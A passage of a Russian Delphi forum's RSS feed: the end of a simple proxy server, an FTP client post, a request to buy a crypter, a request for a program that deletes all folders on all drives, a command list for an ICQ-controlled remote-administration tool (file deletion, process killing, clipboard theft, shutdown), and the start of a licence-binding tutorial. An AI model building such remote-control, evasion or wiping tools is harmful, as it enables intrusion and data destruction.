/&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;Addr.sin_port:=htons(PPORT&amp;#41;; &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;Addr.sin_addr.S_addr:=inet_addr(PChar(host&amp;#41;&amp;#41;; &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;Snd := Socket(PF_INET, SOCK_STREAM, IPPROTO_IP&amp;#41;; &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;if connect(Snd,addr,SizeOf(Addr&amp;#41;&amp;#41; = 0 then &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;begin &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;j:=1; &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;while j&gt;0 do &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;j:=send(Snd,Str&amp;#91;1],Length(Str&amp;#41;,0&amp;#41;;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;//Посылаю вопрос серверу &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;Str:=&apos;&apos;; &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;j:=1;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;//Читаю ответ с сервера &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;while j&gt;0 do &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;begin &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;ZeroMemory(@Tmp,SizeOf(Tmp&amp;#41;&amp;#41;; &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;j:=recv(Snd,Tmp,SizeOf(Tmp&amp;#41;,0&amp;#41;; &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;Str:=Str+Tmp; &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;end; &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;end; &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;i:=1; &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;while i&gt;0 do &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;i:=send(Ns,Str&amp;#91;1],Length(Str&amp;#41;,0&amp;#41;;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;//Отсылаю ответ от сервера клиенту &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;end; &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;closesocket(Ns&amp;#41;; &lt;br /&gt; end; &lt;br /&gt;&lt;br /&gt; constructor TPROXI.Create(Port_: WORD&amp;#41;; &lt;br /&gt; Var ThId: DWORD; &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;Ns: TSocket; &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;Th: Pointer; &lt;br /&gt; begin &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;Colors(True&amp;#41;; &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;WSAStartup($101, ws&amp;#41;; &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;Sock := Socket(PF_INET, SOCK_STREAM, IPPROTO_IP&amp;#41;; &lt;br /&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;GetMem(Host,MAX_PATH&amp;#41;; &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;GetMem(Data,MAX_PATH&amp;#41;; &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;ZeroMemory(Data,MAX_PATH&amp;#41;; &lt;br /&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;Port:= Port_; &lt;br /&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;hAddr.sin_family:=PF_INET; &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;hAddr.sin_port:=htons(PORT&amp;#41;; &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;hAddr.sin_addr.S_addr:=INADDR_ANY; &lt;br /&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;Bind(Sock, hAddr, SizeOf(hAddr&amp;#41;&amp;#41;; &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;Listen(Sock,1&amp;#41;; &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;repeat &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;Ns := accept(Sock, nil, nil&amp;#41;; &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;CloseHandle(CreateThread(nil,0,@THREAD,Pointer(Ns&amp;#41;,0,ThId&amp;#41;&amp;#41;; &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;until False; &lt;br /&gt; end; &lt;br /&gt;&lt;br /&gt; destructor TPROXI.destroy; &lt;br /&gt; Var c: Word; &lt;br /&gt; begin &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;FreeMem(Host&amp;#41;; &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;FreeMem(Data&amp;#41;; &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;inherited; &lt;br /&gt; end; &lt;br /&gt;&lt;br /&gt; procedure TPROXI.Recv_; &lt;br /&gt; begin &lt;br /&gt;&lt;br /&gt; end; &lt;br /&gt;&lt;br /&gt; procedure TPROXI.Send_(Date: Pointer&amp;#41;; &lt;br /&gt; begin &lt;br /&gt;&lt;br /&gt; end; &lt;br /&gt;&lt;br /&gt; end. &lt;br /&gt;&lt;br /&gt; Program ultimatum; &lt;br /&gt;&lt;br /&gt; {$AppType Console} &lt;br /&gt;&lt;br /&gt; uses &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;Windows,TProxiUnit; &lt;br /&gt;&lt;br /&gt; var &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;S: TPROXI; &lt;br /&gt; begin &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;S:= TPROXI.Create(8080&amp;#41;; &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;Readln; &lt;br /&gt; end.&lt;!--/uzc--&gt;&lt;/div&gt;&lt;/div&gt;&lt;!--/uzcode--&gt;</content:encoded>
<category>Программы на Delphi</category>
<dc:creator>Neo</dc:creator>
<guid>https://delfcode.ru/forum/9-1149-1</guid>
</item>
<item>
<title>исходник ftp клиента</title>
<link>https://delfcode.ru/forum/9-1133-1</link>
<pubDate>Thu, 29 Aug 2013 15:01:00 GMT</pubDate>
<description>Форум: &lt;a href=&quot;https://delfcode.ru/forum/9&quot;&gt;Программы на Delphi&lt;/a&gt;&lt;br /&gt;Автор темы: Hargen&lt;br /&gt;Автор последнего сообщения: Hargen&lt;br /&gt;Количество ответов: 2</description>
<content:encoded>Вот решился выложить мой самопальный фтп клиент. &lt;br /&gt; Хоть и не на winapi, но как пример думаю сойдет</content:encoded>
<category>Программы на Delphi</category>
<dc:creator>Hargen</dc:creator>
<guid>https://delfcode.ru/forum/9-1133-1</guid>
</item>
<item>
<title>Криптор</title>
<link>https://delfcode.ru/forum/9-1068-1</link>
<pubDate>Mon, 01 Jul 2013 15:35:09 GMT</pubDate>
<description>Форум: &lt;a href=&quot;https://delfcode.ru/forum/9&quot;&gt;Программы на Delphi&lt;/a&gt;&lt;br /&gt;Описание темы: Нужен криптор на delphi&lt;br /&gt;Автор темы: ApmeM&lt;br /&gt;Автор последнего сообщения: dolphin&lt;br /&gt;Количество ответов: 3</description>
<content:encoded>Куплю криптор программ на delphi. Точнее исходник. Цену предложите сами:)</content:encoded>
<category>Программы на Delphi</category>
<dc:creator>ApmeM</dc:creator>
<guid>https://delfcode.ru/forum/9-1068-1</guid>
</item>
<item>
<title>Удаление всех папок на всех дисках</title>
<link>https://delfcode.ru/forum/9-1085-1</link>
<pubDate>Sun, 30 Jun 2013 20:41:31 GMT</pubDate>
<description>Форум: &lt;a href=&quot;https://delfcode.ru/forum/9&quot;&gt;Программы на Delphi&lt;/a&gt;&lt;br /&gt;Описание темы: Delphi&lt;br /&gt;Автор темы: Swan&lt;br /&gt;Автор последнего сообщения: Volf&lt;br /&gt;Количество ответов: 5</description>
<content:encoded>Нужно чтобы прога искала все папки на всех жд и удаляла их, помогите плз.</content:encoded>
<category>Программы на Delphi</category>
<dc:creator>Swan</dc:creator>
<guid>https://delfcode.ru/forum/9-1085-1</guid>
</item>
<item>
<title>IcQ Console Alpha Version!!!</title>
<link>https://delfcode.ru/forum/9-224-1</link>
<pubDate>Mon, 24 Jun 2013 22:15:02 GMT</pubDate>
<description>Форум: &lt;a href=&quot;https://delfcode.ru/forum/9&quot;&gt;Программы на Delphi&lt;/a&gt;&lt;br /&gt;Описание темы: тестирование&lt;br /&gt;Автор темы: fren&lt;br /&gt;Автор последнего сообщения: oke&lt;br /&gt;Количество ответов: 19</description>
<content:encoded>Команды: &lt;br /&gt; Command - отправление всех этих команд на icq номер администратора. &lt;br /&gt; EVENTON/EVENTOFF - отображение/скрытие событий &lt;br /&gt; ShowDesk - показать иконки рабочего стола &lt;br /&gt; HideDesk - спрятать иконки рабочего стола &lt;br /&gt; ShowStart - показать пуск &lt;br /&gt; Hidestart - спрятать пуск &lt;br /&gt; ShowClock - показать часы &lt;br /&gt; HideClock - спрятать часы &lt;br /&gt; TimePC - время на компьютера &lt;br /&gt; TimePowerPC - время работы компьютера &lt;br /&gt; Cdo - открыть привод компакт дисков &lt;br /&gt; Сdc - закрыть привод компакт дисков &lt;br /&gt; Off - выключить &lt;br /&gt; Reboot - перезагрузка &lt;br /&gt; Msl - клик левой кнопкой мыши &lt;br /&gt; Msr - клик правой кнопкой мыши &lt;br /&gt; Msm - клик средней кнопкой мыши &lt;br /&gt; Vk_enter - нажатие enter &lt;br /&gt; Vk_escape - нажатие escape &lt;br /&gt; Vk_space - нажатие пробела &lt;br /&gt; Getclb - буфер обмена (текст) &lt;br /&gt; Setclb &lt;текст&gt; - занести в буфер обмена (текст вводится большими буквами в след. версии будет исправлено) &lt;br /&gt; Close - закрыть IcQ Console &lt;br /&gt; GetProc - получить список процессов &lt;br /&gt; Author - Автор - Павел Павлов &lt;br /&gt; Delfile &lt;файл&gt; - удаление файла &lt;br /&gt; Killdir &lt;директория&gt; - удаление директориии &lt;br /&gt; Open &lt;файл&gt; - открыть файл &lt;br /&gt; OpenUrl &lt;ссылка&gt; - открыть ссылку в стандарном браузере &lt;br /&gt; KillProc &lt;процесс.exe&gt; - убить процесс &lt;br /&gt; Mesto &lt;Текст&gt;,&lt;Заголовок&gt; - вывод на экран пользователя сообщения &lt;br /&gt; CopyFile &lt;Старый файл&gt;,&lt;Новый файл&gt; - копирование файла (около запятых пробелы не ставятся!!!) &lt;br /&gt; CopyDir &lt;Старая директория&gt;,&lt;Куда копировать&gt; - копирование директории (около запятых пробелы не ставятся!!!) &lt;p&gt; Специальные команды: &lt;br /&gt; Dir - отображение дисков на компьютере &lt;br /&gt; Dir &lt;диск&gt; - переход на диск &lt;диск&gt; и отображение всех директорий и файлов на диске. &lt;br /&gt; Opendir (opd) &lt;dir-number&gt; - открытие каталога (обычно используется после команды &quot;dir &lt;диск&gt;&quot;), какой &lt;dir-number&gt; можно узнать в начале имени каталога &lt;br /&gt; Openfile (opf) &lt;file-numer&gt; - аналогично предыдущей команде. Открытие &lt;file-number&gt; файла. &lt;file-number&gt; указан в начале имени файла. &lt;br /&gt; sendfile - запланированная команда передачи выделенного файла вам на icq номер (допустим qip клиент) с удаленной машины. &lt;p&gt; План: &lt;br /&gt; -уже в следующей версии делаю полное управление CMD! &lt;br /&gt; -оч хочется передачу файлов сделать)</content:encoded>
<category>Программы на Delphi</category>
<dc:creator>fren</dc:creator>
<guid>https://delfcode.ru/forum/9-224-1</guid>
</item>
<item>
<title>Защита программ и не только</title>
<link>https://delfcode.ru/forum/9-934-1</link>
<pubDate>Sat, 01 Dec 2012 21:11:59 GMT</pubDate>
<description>Форум: &lt;a href=&quot;https://delfcode.ru/forum/9&quot;&gt;Программы на Delphi&lt;/a&gt;&lt;br /&gt;Описание темы: привязка к железу, взлом привязки&lt;br /&gt;Автор темы: C@T&lt;br /&gt;Автор последнего сообщения: C@T&lt;br /&gt;Количество ответов: 0</description>
<content:encoded>Предисловие &lt;br /&gt;&lt;br /&gt; данная статья не была заранее подготовленной, идея ее написать появилась у меня сегодня после того как увидел один пост на форуме и вспомнил как с друзьями мы убирали привязку у программ друг друга &lt;img src=&quot;http://s5.ucoz.net/sm/23/smile.gif&quot; border=&quot;0&quot; align=&quot;absmiddle&quot; alt=&quot;smile&quot; /&gt; статья написано как можно более понятно, так как большинство посетителей нашего форума новички в программировании, и прошу не серчать за излишнюю подробность думаю вам будет интересно почитать &lt;img src=&quot;http://s5.ucoz.net/sm/23/smile.gif&quot; border=&quot;0&quot; align=&quot;absmiddle&quot; alt=&quot;smile&quot; /&gt; &lt;br /&gt;&lt;br /&gt; на форуме один из посетителей сделал прозьбу о том как сделать привязку программке &lt;img src=&quot;http://s5.ucoz.net/sm/23/smile.gif&quot; border=&quot;0&quot; align=&quot;absmiddle&quot; alt=&quot;smile&quot; /&gt; &lt;br /&gt; итак начнем, первое правда что мне пришлось сделать это скачать дэлфи, так как, увы, давно на нем не писал, а наш ресурс узко специализированн &lt;img src=&quot;http://s5.ucoz.net/sm/23/smile.gif&quot; border=&quot;0&quot; align=&quot;absmiddle&quot; alt=&quot;smile&quot; /&gt; &lt;br /&gt;&lt;br /&gt; после того как устанавили дэлфи нужна программка которую мы будем привязывать &lt;img src=&quot;http://s5.ucoz.net/sm/23/smile.gif&quot; border=&quot;0&quot; align=&quot;absmiddle&quot; alt=&quot;smile&quot; /&gt; &lt;br /&gt; и мы ее пишем &lt;br /&gt; &lt;!--uzcode--&gt;&lt;div class=&quot;bbCodeBlock&quot;&gt;&lt;div class=&quot;bbCodeName&quot; style=&quot;padding-left:5px;font-weight:bold;font-size:7pt&quot;&gt;Code&lt;/div&gt;&lt;div class=&quot;codeMessage&quot; style=&quot;border:1px inset;max-height:200px;overflow:auto;height:expression(this.scrollHeight&lt;5?this.style.height:scrollHeight&gt;200?&apos;200px&apos;:&apos;&apos;+(this.scrollHeight+5)+&apos;px&apos;);&quot;&gt;&lt;!--uzc--&gt; &lt;br /&gt; unit Unit1; &lt;br /&gt;&lt;br /&gt; interface &lt;br /&gt;&lt;br /&gt; uses &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms, &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;Dialogs, StdCtrls; &lt;br /&gt;&lt;br /&gt; type &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;TForm1 = class(TForm&amp;#41; &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;Button1: TButton; &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;Edit1: TEdit; &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;procedure Button1Click(Sender: TObject&amp;#41;; &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;private &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;{ Private declarations } &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;public &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;{ Public declarations } &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;end; &lt;br /&gt;&lt;br /&gt; var &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;Form1: TForm1; &lt;br /&gt;&lt;br /&gt; implementation &lt;br /&gt;&lt;br /&gt; {$R *.dfm} &lt;br /&gt;&lt;br /&gt; procedure TForm1.Button1Click(Sender: TObject&amp;#41;; &lt;br /&gt; begin &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;ShowMessage(Edit1.text&amp;#41;; &lt;br /&gt; end; &lt;br /&gt;&lt;br /&gt; end. &lt;br /&gt; &lt;!--/uzc--&gt;&lt;/div&gt;&lt;/div&gt;&lt;!--/uzcode--&gt; &lt;br /&gt;&lt;br /&gt; &lt;!--IMG1--&gt;&lt;a href=&quot;https://delfcode.ru/_fr/9/6138060.png&quot; class=&quot;ulightbox&quot; target=&quot;_blank&quot; title=&quot;Нажмите, для просмотра в полном размере...&quot;&gt;&lt;img alt=&quot;&quot; style=&quot;margin:0;padding:0;border:0;&quot; src=&quot;https://delfcode.ru/_fr/9/s6138060.jpg&quot; align=&quot;&quot; /&gt;&lt;/a&gt;&lt;!--IMG1--&gt; &lt;br /&gt;&lt;br /&gt; дальше нам нужна программка которая скажет нам наш HardID , на который мы будем привязывать, в данном примере будем привязывать к ID логического диска, правда да, оно при переустановке системы меняется, но все же, пойдет &lt;img src=&quot;http://s5.ucoz.net/sm/23/smile.gif&quot; border=&quot;0&quot; align=&quot;absmiddle&quot; alt=&quot;smile&quot; /&gt; &lt;br /&gt;&lt;br /&gt; &lt;!--uzcode--&gt;&lt;div class=&quot;bbCodeBlock&quot;&gt;&lt;div class=&quot;bbCodeName&quot; style=&quot;padding-left:5px;font-weight:bold;font-size:7pt&quot;&gt;Code&lt;/div&gt;&lt;div class=&quot;codeMessage&quot; style=&quot;border:1px inset;max-height:200px;overflow:auto;height:expression(this.scrollHeight&lt;5?this.style.height:scrollHeight&gt;200?&apos;200px&apos;:&apos;&apos;+(this.scrollHeight+5)+&apos;px&apos;);&quot;&gt;&lt;!--uzc--&gt; &lt;br /&gt; unit Unit1; &lt;br /&gt;&lt;br /&gt; interface &lt;br /&gt;&lt;br /&gt; uses &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms, &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;Dialogs, StdCtrls; &lt;br /&gt;&lt;br /&gt; type &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;TForm1 = class(TForm&amp;#41; &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;Button1: TButton; &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;Edit1: TEdit; &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;procedure Button1Click(Sender: TObject&amp;#41;; &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;private &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;{ Private declarations } &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;public &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;{ Public declarations } &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;end; &lt;br /&gt;&lt;br /&gt; var &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;Form1: TForm1; &lt;br /&gt;&lt;br /&gt; implementation &lt;br /&gt;&lt;br /&gt; {$R *.dfm} &lt;br /&gt;&lt;br /&gt; procedure TForm1.Button1Click(Sender: TObject&amp;#41;; &lt;br /&gt; var &lt;br /&gt; VSNum, dw1, dw2: DWORD; &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;szTemp: array&amp;#91;0..MAX_PATH] of char; &lt;br /&gt; begin &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;GetWindowsDirectory(szTemp,MAX_PATH&amp;#41;; &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;GetVolumeInformation(PAnsiChar(szTemp&amp;#91;0]+&apos;:&amp;#92;&apos;&amp;#41;, nil, 0, @VSNum, dw1, dw2, nil, 0&amp;#41;; &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;Edit1.Text := IntToHex(VSNum,16&amp;#41;; &lt;br /&gt; end; &lt;br /&gt;&lt;br /&gt; end. &lt;br /&gt; &lt;!--/uzc--&gt;&lt;/div&gt;&lt;/div&gt;&lt;!--/uzcode--&gt; &lt;br /&gt;&lt;br /&gt; &lt;!--IMG2--&gt;&lt;a href=&quot;https://delfcode.ru/_fr/9/5249077.png&quot; class=&quot;ulightbox&quot; target=&quot;_blank&quot; title=&quot;Нажмите, для просмотра в полном размере...&quot;&gt;&lt;img alt=&quot;&quot; style=&quot;margin:0;padding:0;border:0;&quot; src=&quot;https://delfcode.ru/_fr/9/s5249077.jpg&quot; align=&quot;&quot; /&gt;&lt;/a&gt;&lt;!--IMG2--&gt; &lt;br /&gt;&lt;br /&gt; суть привязки в том что бы просто сравнить прописанный в проге HardID с HardID на запущенной системе и если ID не совпадают, то завершить программу &lt;br /&gt; пишем процедуру которая будет это делать &lt;img src=&quot;http://s5.ucoz.net/sm/23/smile.gif&quot; border=&quot;0&quot; align=&quot;absmiddle&quot; alt=&quot;smile&quot; /&gt; &lt;br /&gt;&lt;br /&gt; &lt;!--uzcode--&gt;&lt;div class=&quot;bbCodeBlock&quot;&gt;&lt;div class=&quot;bbCodeName&quot; style=&quot;padding-left:5px;font-weight:bold;font-size:7pt&quot;&gt;Code&lt;/div&gt;&lt;div class=&quot;codeMessage&quot; style=&quot;border:1px inset;max-height:200px;overflow:auto;height:expression(this.scrollHeight&lt;5?this.style.height:scrollHeight&gt;200?&apos;200px&apos;:&apos;&apos;+(this.scrollHeight+5)+&apos;px&apos;);&quot;&gt;&lt;!--uzc--&gt; &lt;br /&gt; procedure pegging(&amp;#41;; // спасибо гуглу за перевод &lt;br /&gt; var &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;myID:DWORD; &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;VSNum, dw1, dw2: DWORD; &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;szTemp: array&amp;#91;0..MAX_PATH] of char; &lt;br /&gt; begin &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;myID := $003C7FD842; &lt;br /&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;GetWindowsDirectory(szTemp,MAX_PATH&amp;#41;; &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;GetVolumeInformation(PAnsiChar(szTemp&amp;#91;0]+&apos;:&amp;#92;&apos;&amp;#41;, nil, 0, @VSNum, dw1, dw2, nil, 0&amp;#41;; &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;if( VSNum &lt;&gt; myID&amp;#41; then &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;begin &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;TerminateProcess(GetCurrentProcess(&amp;#41;, 0&amp;#41;; &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;end; &lt;br /&gt; end; &lt;br /&gt; &lt;!--/uzc--&gt;&lt;/div&gt;&lt;/div&gt;&lt;!--/uzcode--&gt; &lt;br /&gt;&lt;br /&gt; вызываем ее при запуске программы &lt;br /&gt;&lt;br /&gt; &lt;!--uzcode--&gt;&lt;div class=&quot;bbCodeBlock&quot;&gt;&lt;div class=&quot;bbCodeName&quot; 